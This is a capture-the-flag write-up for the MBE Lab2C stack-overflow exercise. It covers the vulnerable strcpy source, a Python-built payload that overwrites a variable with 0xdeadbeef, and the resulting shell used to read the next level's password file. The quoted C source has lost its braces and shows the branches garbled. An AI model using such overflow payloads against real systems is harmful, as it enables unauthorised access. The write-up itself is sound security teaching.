Lab2C Write-up (Easy)

MBE’s Lab02 are mainly focused on Memory Corruption. The first level (Lab2C) is quite simple and a good introduction to basic stack overflow.

First, log into the Lab02 as Lab2C (lab2C:lab02start) and go to the challenges folder:

$ ssh lab2C@<VM_IP>
$ cd /levels/lab02/

Let’s try to execute the program:

lab2C@warzone:/levels/lab02$ ./lab2C
./lab2C string
lab2C@warzone:/levels/lab02$ ./lab2C YOLO!
Not authenticated.
set_me was 0

The program takes an argument. However, it seems that we need to provide a specific input in order to be authenticated.

Note: From now on, we have access to the source code of all the remaining challenges. It means that we will be able to do static analysis on high-level codes in order to figure out where are the vulnerabilities.

Source Code Analysis

Given we now have access to the source code, let’s do a quick check of what it does:

void shell()
   printf("You did it.\n");

int main(int argc, char** argv)
   if(argc != 2)
      printf("usage:\n%s string\n", argv[0]);
      return EXIT_FAILURE;

   int set_me = 0;
   char buf[15];
   strcpy(buf, argv[1]);

   if(set_me == 0xdeadbeef)
      printf("Not authenticated.\nset_me was %d\n", set_me);

   return EXIT_SUCCESS;

This one is simple, if set_me variable is equal to 0xdeadbeef, the shell() function is called and you get elevated privileges. The question now is how to put this value into set_me?

Here, the strcpy() function will copy our argument (argv[1]) in the buf char array. However, buf is only 15 bytes long. As strcpy() won’t check the size of the source and target buffers, if our input, argv[1], is too big, buf will overflow into set_me.

So, with a large enough input, we can overwrite set_me with the value of our choice.

Dynamic Analysis

Enough with the theory, let’s check our assumptions. Here, we don’t really need to use gdb as the exploit is fairly simple.

First, a quick proof of concept with an argument composed of 15 A’s and 4 B’s.

lab2C@warzone:/levels/lab02$ ./lab2C `python -c 'print 15 * "A" + "BBBB"'`
Not authenticated.
set_me was 1111638594

Interesting, now the set_me value is equal to 1111638594, which is 0x42424242 in hexadecimal, or BBBB is ASCII. Now, we just need to change the second part of our proof of concept with the value 0xdeadbeef in order to solve this challenge.


Let’s modify our payload and solve this challenge.

lab2C@warzone:/levels/lab02$ ./lab2C `python -c 'print 15 * "A" + "\xef\xbe\xad\xde"'`
You did it.
$ whoami
$ cat /home/lab2B/.pass

Easy, right ? Let’s go to the next challenge!